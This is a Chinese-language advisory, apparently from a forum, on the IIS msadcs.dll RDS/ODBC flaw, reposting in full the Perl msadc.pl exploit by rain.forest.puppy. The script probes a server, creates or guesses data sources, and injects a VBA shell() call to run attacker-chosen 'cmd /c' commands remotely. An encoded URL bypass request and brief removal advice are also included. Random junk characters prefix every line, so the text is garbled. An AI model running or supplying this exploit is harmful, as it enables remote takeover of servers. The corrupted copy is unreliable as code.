IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
Ftb qZN[ j.O7-t%C 涉及程序：
{H
OvJ`tM Microsoft NT server
yyZ}qnbx] Bs2.$~ 描述：
k{ >r I2; 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
QA_SS'* v#u]cmI 详细：
vaQ Z1a, 如果你没有时间读详细内容的话，就删除:
HPVW2Y0_N c:\Program Files\Common Files\System\Msadc\msadcs.dll
o3*IfD 有关的安全问题就没有了。
.sNUU 3xSC *xB9~ : 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
jR<yV ]Cd 1& 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
c|q!C0X[ 关于利用ODBC远程漏洞的描述，请参看:
@7 xb/&N IxC/X5Mp^q http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm (,$ H!qKy DueQ1+ P 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
2Wz/s 0` http://www.microsoft.com/security/bulletins/MS99-025faq.asp Hm2}xnY 41 sClC" 这里不再论述。
~J1;Z0}# |0:&d w?*! 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
Ep-{Ew{T_= v w$VR PW /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
I,dH\]^h= 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
@=ABO"CQ r2?-QvQ F , {M!dL #将下面这段保存为txt文件，然后: "perl -x 文件名"
F. X{(8 M ##h<3 I #!perl
zRtaO'G( #
F*QZVg+<*X # MSADC/RDS 'usage' (aka exploit) script
5^'PjtW6 #
-D DH)VO # by rain.forest.puppy
+f/G2qY!t #
D&_Ir>"\ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
2b+cz # beta test and find errors!
OD5c,IkWB z:f[<`,GT use Socket; use Getopt::Std;
tK)E*! getopts("e:vd:h:XR", \%args);
*k'D%}N: <%klrQya print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
vU Bk oC2Q |__\Vn if (!defined $args{h} && !defined $args{R}) {
%Y8#I3jVJ print qq~
q,-bw2 Usage: msadc.pl -h <host> { -d <delay> -X -v }
xEtzqP<] -h <host> = host you want to scan (ip or domain)
3DRbCKNL -d <seconds> = delay between calls, default 1 second
tj 6 #lM9 -X = dump Index Server path table, if available
^G'8!!ys -v = verbose
qH'T~# S -e = external dictionary file for step 5
a>A29*q F-Mf~+= Dn Or a -R will resume a command session
m}w~ d / )f]E<*k'E ~; exit;}
\ YO1 ;\W zR :Mg\ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
vwQY_J8 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
prE~GO7Z if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
:3F&NsgHH if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
<; \T
e4g[ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
xvP<~N- if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
yiyyw,iy WP&P#ju& if (!defined $args{R}){ $ret = &has_msadc;
\y?V ou/ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
/NFv? ~</k W 0^.Dx print "Please type the NT commandline you want to run (cmd /c assumed):\n"
? 2h oY . "cmd /c ";
J$6tCF D $in=<STDIN>; chomp $in;
td-2[Sy $command="cmd /c " . $in ;
$h1`-=\7 LY}%|w if (defined $args{R}) {&load; exit;}
vgRjd1k.\y &L}e &5 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
0-#SvTf>;: &try_btcustmr;
@? 4- K~"uZa^s print "\nStep 2: Trying to make our own DSN...";
Q #NXJvI &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
+=#sa m*i KJc
fbZ~ print "\nStep 3: Trying known DSNs...";
9?<WRM3a> &known_dsn;
=N,9#o6^ mKY}+21!Q print "\nStep 4: Trying known .mdbs...";
vfAR^*7e &known_mdb;
Arh0m. w ],ioY*4G if (defined $args{e}){
@8X)hpHf print "\nStep 5: Trying dictionary of DSN names...";
^t4T8ejn &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
-U;2
b_ uP bvN[~t print "Sorry Charley...maybe next time?\n";
Ut 4cli&cC exit;
VS0
&[bl <i34;`)b ##############################################################################
B3[;}8u> PR?Ls{}p\ sub sendraw { # ripped and modded from whisker
%rVC3} sleep($delay); # it's a DoS on the server! At least on mine...
V&82U w my ($pstr)=@_;
q9rY++Tv socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
3]DUUXg$ die("Socket problems\n");
[pi!+k if(connect(S,pack "SnA4x8",2,80,$target)){
X3zk UMk select(S); $|=1;
''P.~~ezr5 print $pstr; my @in=<S>;
& Ji!*~sE select(STDOUT); close(S);
9`kxyh</ return @in;
~i 'Ib_%h } else { die("Can't connect...\n"); }}
;w ";s$ CDcZ6.f ##############################################################################
c!l=09a~a+ }$5S @, sub make_header { # make the HTTP request
t_1(Ex my $msadc=<<EOT
.s-X %%e\ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
2lNZwV7 User-Agent: ACTIVEDATA
rn3GBWC_C Host: $ip
rvjPm5[t Content-Length: $clen
9^ITP!~e* Connection: Keep-Alive
b^b@W^\hn 0Q>f,}W%> ADCClientVersion:01.06
"IbXKS>t Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
M:V'vme)+ rhU]b $A --!ADM!ROX!YOUR!WORLD!
RWM9cV5 Content-Type: application/x-varg
F| \^O[#R Content-Length: $reqlen
SYkLia( Ty v|Y:'5`V EOT
guJS;VC6U ; $msadc=~s/\n/\r\n/g;
"w}}q>P+sA return $msadc;}
? pq#|PI) ^PDz"L<* ##############################################################################
RGd@3OjN \IB@*_G sub make_req { # make the RDS request
vAZc.=+ > my ($switch, $p1, $p2)=@_;
+\ ~.cP7 [ my $req=""; my $t1, $t2, $query, $dsn;
r|2 Y|6@ 9m^"ca if ($switch==1){ # this is the btcustmr.mdb query
ktX\{g! U $query="Select * from Customers where City=" . make_shell();
I6?n> $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
LbX>@2(& $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
Wj0=cIb n[$b k_S elsif ($switch==2){ # this is general make table query
|HhqWja $query="create table AZZ (B int, C varchar(10))";
J`/ t;xk $dsn="$p1";}
> */\Pg6^ q~_DR4xZ elsif ($switch==3){ # this is general exploit table query
It$'6HV~Sb $query="select * from AZZ where C=" . make_shell();
#
+OEO $dsn="$p1";}
Q/'jw yj_ qRk&b F/ elsif ($switch==4){ # attempt to hork file info from index server
;tK%Q~To $query="select path from scope()";
tQz =_;jy $dsn="Provider=MSIDXS;";}
98 dl -? r N0G| elsif ($switch==5){ # bad query
x'dU[f( $query="select";
;!H<W[ $dsn="$p1";}
R+vago: i*-[-hn-V $t1= make_unicode($query);
~,j52obR6Z $t2= make_unicode($dsn);
T](N
^P $req = "\x02\x00\x03\x00";
}6zo1" $req.= "\x08\x00" . pack ("S1", length($t1));
G Y? ?q8 $req.= "\x00\x00" . $t1 ;
h RK & $req.= "\x08\x00" . pack ("S1", length($t2));
g}(yq:D $req.= "\x00\x00" . $t2 ;
V`*N2ztSL $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
AAbI+L0m{ return $req;}
B" ,5"'id 9 t)A_}O ##############################################################################
88%7 |C;8GSw>|F sub make_shell { # this makes the shell() statement
uL!QeY>k\ return "'|shell(\"$command\")|'";}
oSd TQ$U!D @~t^zI1 ##############################################################################
1Pya\To,m _:(RkS!x sub make_unicode { # quick little function to convert to unicode
OR84/ ^> my ($in)=@_; my $out;
2% ],0,o for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
./SDZ:5/ return $out;}
xi5G? r Da. eV U; ##############################################################################
U$z d3a_( vTE 3-v[i sub rdo_success { # checks for RDO return success (this is kludge)
kD_Ac{{< my (@in) = @_; my $base=content_start(@in);
Y#aL]LxZE if($in[$base]=~/multipart\/mixed/){
$;GH
-+ return 1 if( $in[$base+10]=~/^\x09\x00/ );}
Vl"20) : return 0;}
<%d/"XNg[D |"}F cS
y ##############################################################################
Vf28R,~m MR") sub make_dsn { # this makes a DSN for us
rw:z|-r my @drives=("c","d","e","f");
N{/):O print "\nMaking DSN: ";
zVEG )
Hr foreach $drive (@drives) {
T 'VZ=l[ print "$drive: ";
(2 n SZRB my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
EI+RF{IKh "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
Ep>} S . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
\#)|6w- $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
0 v7#vZ return 0 if $2 eq "404"; # not found/doesn't exist
rV6&: \ if($2 eq "200") {
EJAk'L+nuH foreach $line (@results) {
S F:>dneB return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
il8n
K } return 0;}
, |5|aVfh Ez()W,6]g ##############################################################################
!U 6q;'
)- %5g(|Y] sub verify_exists {
S10"yhn(-t my ($page)=@_;
:%&|5Ytb my @results=sendraw("GET $page HTTP/1.0\n\n");
)P13AfK return $results[0];}
TH [xSg A W{"9f4 ##############################################################################
.wH`9aq;5@ <'y}y} % sub try_btcustmr {
+( Q$GO% my @drives=("c","d","e","f");
38<Z=#S my @dirs=("winnt","winnt35","winnt351","win","windows");
o]R*6$ KM-d8^\: foreach $dir (@dirs) {
1>~bzXY# print "$dir -> "; # fun status so you can see progress
-hd@ <+;E foreach $drive (@drives) {
#BLx +mLq print "$drive: "; # ditto
p L [JGn $reqlen=length( make_req(1,$drive,$dir) ) - 28;
(
* &E ~ g $reqlenlen=length( "$reqlen" );
RpmO g
$clen= 206 + $reqlenlen + $reqlen;
> O;V[H2[ X }V}% my @results=sendraw(make_header() . make_req(1,$drive,$dir));
9~7s*3zI if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
0|i3#G_~ else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
pY~/<lzW jw 4B^2} ##############################################################################
WilKC|R]P Zk:Kux[7 sub odbc_error {
OrC}WMhd my (@in)=@_; my $base;
e =ITAH3b my $base = content_start(@in);
VTUY#+3 if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
s(.H"_ a $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
ID_#a9N $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
M)qb6aD0 $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
W(#u^,$e[ return $in[$base+4].$in[$base+5].$in[$base+6];}
c1 Rn1M,2k print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
^-^ii 3G` print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
634OH*6 $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
R:+cumHr
Be$v%4 ##############################################################################
rv?4S`Z,x$ >0X_UDAWz sub verbose {
[r#m +R"N my ($in)=@_;
f>CJ1 ;][{ return if !$verbose;
;% <[*T:*' print STDOUT "\n$in\n";}
K[q{)>,9 oKMr Pr[` ##############################################################################
7 /6 Zp? ?-v]+<$ Y sub save {
=w5]o @ my ($p1, $p2, $p3, $p4)=@_;
P Dgd'y open(OUT, ">rds.save") || print "Problem saving parameters...\n";
,J&\)
yTP print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
\{EYkk0] close OUT;}
xqQLri} iJU=98q ##############################################################################
H`bS::JI- iSP}kM} sub load {
+RBX2$kB my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
le|Rhs%Z% open(IN,"<rds.save") || die("Couldn't open rds.save\n");
+HT?> k @p=<IN>; close(IN);
H$Z LtPv5 $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
91#rP|88; $target= inet_aton($ip) || die("inet_aton problems");
B&+)s5hh print "Resuming to $ip ...";
dW5@Z-9 $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
,;@v Vm'} if($p[1]==1) {
-UoTBvObAm $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
]r\FC\n6e $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
d -cW47 my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
e>T;'7HSS" if (rdo_success(@results)){print "Success!\n";}
po!bRk[4 else { print "failed\n"; verbose(odbc_error(@results));}}
i5 0c N<o elsif ($p[1]==3){
*S<d`mp[ if(run_query("$p[3]")){
ZLZh$eZZ print "Success!\n";} else { print "failed\n"; }}
|) 65y
elsif ($p[1]==4){
*x-@}WY$U if(run_query($drvst . "$p[3]")){
/O}lSXo6E print "Success!\n"; } else { print "failed\n"; }}
: i{tqY% exit;}
<MyT ; j Gp&P ##############################################################################
8n,/hY>w 3y%,f|ju sub create_table {
LC, 6hpmh my ($in)=@_;
-pHUC' t $reqlen=length( make_req(2,$in,"") ) - 28;
3} }8ukq $reqlenlen=length( "$reqlen" );
.% 79(r^ $clen= 206 + $reqlenlen + $reqlen;
TE9Iyl|= my @results=sendraw(make_header() . make_req(2,$in,""));
b_ vKP return 1 if rdo_success(@results);
xj[v$HP my $temp= odbc_error(@results); verbose($temp);
Y SB~04 return 1 if $temp=~/Table 'AZZ' already exists/;
7n)ob![\d return 0;}
/!'P ng0! w
m|WER*. ##############################################################################
T'ei>]y] TD sjNFe3 sub known_dsn {
Ih HKRb[ # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
RT.
%\))) my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
Alk+MwjR "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
@u @,E dh "banner", "banners", "ads", "ADCDemo", "ADCTest");
u]*f^ /6 Q f hjlt# foreach $dSn (@dsns) {
H+
7HD|GE print ".";
Dk E f;P next if (!is_access("DSN=$dSn"));
0| DyYu if(create_table("DSN=$dSn")){
fcTg/EXn print "$dSn successful\n";
&u!MI if(run_query("DSN=$dSn")){
-asjBSo*D print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
Iw4[D#o print "Something's borked. Use verbose next time\n";}}} print "\n";}
T#\=v(_NR BJt]k7ku+ ##############################################################################
S6<#] 6 Z pr[V*C/ sub is_access {
JM7FVB my ($in)=@_;
}9V0Cu1 $reqlen=length( make_req(5,$in,"") ) - 28;
^Wr L
$reqlenlen=length( "$reqlen" );
P(.XB ` $clen= 206 + $reqlenlen + $reqlen;
X%$1%)C9 my @results=sendraw(make_header() . make_req(5,$in,""));
vaLP_V my $temp= odbc_error(@results);
p}Um+I=1 verbose($temp); return 1 if ($temp=~/Microsoft Access/);
1QPz|3 f@\ return 0;}
mM r$~^P: ^-Rqlr,F; ##############################################################################
^3ai}Ei3 'YJ~~o sub run_query {
CXBFR>" my ($in)=@_;
h[;DRD!Z $reqlen=length( make_req(3,$in,"") ) - 28;
xn>N/+, $reqlenlen=length( "$reqlen" );
M.\XG}RR $clen= 206 + $reqlenlen + $reqlen;
o!lK P> my @results=sendraw(make_header() . make_req(3,$in,""));
AyNpY_B0c return 1 if rdo_success(@results);
v|KGzQx$.* my $temp= odbc_error(@results); verbose($temp);
1En:QQ4/ return 0;}
U IkO_/} &;bey4_J ##############################################################################
,9M 2'6= :Q,~Nw> sub known_mdb {
- z UBK my @drives=("c","d","e","f","g");
p" 6ydXn% my @dirs=("winnt","winnt35","winnt351","win","windows");
IML.6<,(Z my $dir, $drive, $mdb;
CkRilS< my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
nIZsKbnw E[i# 8_ # this is sparse, because I don't know of many
QnJLTBv my @sysmdbs=( "\\catroot\\icatalog.mdb",
kRr/x-" "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
eE_$ ADEf "\\system32\\certmdb.mdb",
O6 ,2M[a "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
_kc}: &7,:: $cu my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
yFn~rv|&G "\\cfusion\\cfapps\\forums\\forums_.mdb",
ILx4 [m7 "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
)%b 5uZ "\\cfusion\\cfapps\\security\\realm_.mdb",
DS9-i2 "\\cfusion\\cfapps\\security\\data\\realm.mdb",
Q-B/SX)!/ "\\cfusion\\database\\cfexamples.mdb",
Y_6 v@SiO "\\cfusion\\database\\cfsnippets.mdb",
hE
E1i "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
oJ tmd} "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
;<*%BtD? "\\cfusion\\brighttiger\\database\\cleam.mdb",
j rxq558 "\\cfusion\\database\\smpolicy.mdb",
1>/ iYf "\\cfusion\\database\cypress.mdb",
Kf6 D)B 26 "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
YCVT0d "\\website\\cgi-win\\dbsample.mdb",
<(_ Tanx9Q "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
K"[\)&WBG "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
+tlBOl $ ); #these are just
~xv3R foreach $drive (@drives) {
K%W;-W*' foreach $dir (@dirs){
zf]e"e foreach $mdb (@sysmdbs) {
OnU-FX< print ".";
'BUf db8d if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
&'`ki0Xh; print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
NHQoP&OG if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
yVQW| D0,j print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
.<E7Ey# } else { print "Something's borked. Use verbose next time\n"; }}}}}
1JJ1!& > $ce*W 9` foreach $drive (@drives) {
Ly/ foreach $mdb (@mdbs) {
01 76 print ".";
@FZ_[CYg if(create_table($drv . $drive . $dir . $mdb)){
@LFB}B print "\n" . $drive . $dir . $mdb . " successful\n";
t&p I if(run_query($drv . $drive . $dir . $mdb)){
Xwf R/4 print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
AyW= . } else { print "Something's borked. Use verbose next time\n"; }}}}
|26[=_[q }
h: |BQC :0ltq><? ##############################################################################
ll[&O4.F cq 5^7. sub hork_idx {
yJ `{\7Uqg print "\nAttempting to dump Index Server tables...\n";
y>:U&P^ print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
7SN61)[m $reqlen=length( make_req(4,"","") ) - 28;
?bu=QV@ $reqlenlen=length( "$reqlen" );
ji\&?% (B $clen= 206 + $reqlenlen + $reqlen;
Jamt @= my @results=sendraw2(make_header() . make_req(4,"",""));
:xTm- L if (rdo_success(@results)){
(74y2U 6 my $max=@results; my $c; my %d;
V2xvuDHI for($c=19; $c<$max; $c++){
BP l% SL $results[$c]=~s/\x00//g;
"LH!Trl@k $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
jt(GXgm $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
>y,. `ECn $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
~g% Ht# < $d{"$1$2"}="";}
)#1!%aQ foreach $c (keys %d){ print "$c\n"; }
2 #00<t\ } else {print "Index server doesn't seem to be installed.\n"; }}
4"3.7.<Q` }D?qj3?bj ##############################################################################
SSbx[<E3 ^7 * 7^< sub dsn_dict {
MslgQmlM open(IN, "<$args{e}") || die("Can't open external dictionary\n");
Q, "8Ty while(<IN>){
pr1bsrMuL $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
)pe17T1| next if (!is_access("DSN=$dSn"));
LE)$_i8gX if(create_table("DSN=$dSn")){
@Kn@j D; print "$dSn successful\n";
y Tn<5T[H if(run_query("DSN=$dSn")){
^16 zZ* print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
R# .H&# print "Something's borked. Use verbose next time\n";}}}
e2K9CE.O print "\n"; close(IN);}
&c d>.&1<2 p@Cas ##############################################################################
KT*>OY I eE=2~
ylU sub sendraw2 { # ripped and modded from whisker
FzP1b_i sleep($delay); # it's a DoS on the server! At least on mine...
@/ nGc9h my ($pstr)=@_;
: 2$*'{mM socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
9[W >`JKo die("Socket problems\n");
e ky1} if(connect(S,pack "SnA4x8",2,80,$target)){
$TS97'$ print "Connected. Getting data";
[Y?Y@x"MZ open(OUT,">raw.out"); my @in;
()w;~$J select(S); $|=1; print $pstr;
`S5::U6E while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
;< ;~;od*/ close(OUT); select(STDOUT); close(S); return @in;
*
h S 6F } else { die("Can't connect...\n"); }}
}N ).$ TI<3>R ##############################################################################
n)Cr<^j 7 -Oa34ba+ sub content_start { # this will take in the server headers
^E Rdf2 my (@in)=@_; my $c;
`@WJ_-$# for ($c=1;$c<500;$c++) {
Y"r728T`K if($in[$c] =~/^\x0d\x0a/){
$o;c:Kh$$ if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
D^V)$ME else { return $c+1; }}}
'-J<ib
t return -1;} # it should never get here actually
r:g_mMvB zUNUH^Il ##############################################################################
_ h1eW9q ZBFn sub funky {
km][QEXs% my (@in)=@_; my $error=odbc_error(@in);
~(yW#'G if($error=~/ADO could not find the specified provider/){
L|:C Q print "\nServer returned an ADO miscofiguration message\nAborting.\n";
/#&jF:h exit;}
2 "6qg>]-t if($error=~/A Handler is required/){
^W9O_5\g4a print "\nServer has custom handler filters (they most likely are patched)\n";
_Gaem"k| exit;}
a rRU` 6? if($error=~/specified Handler has denied Access/){
>; by m) print "\nServer has custom handler filters (they most likely are patched)\n";
=$ L+J O exit;}}
cDz b}W*UM }<@-= ##############################################################################
1-N+qNSD` ~K;hXf sub has_msadc {
C2\WvE%! my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
2/tx5Nc my $base=content_start(@results);
osd oL return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
CY{!BV' return 0;}
8O(L;&h tLN^k;w ########################
3 =c#LUA` ;m>/tD%
zK1]o-wSAT 解决方案：
I1l^0@J 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
H?M:<q0|G 2、移除web 目录: /msadc
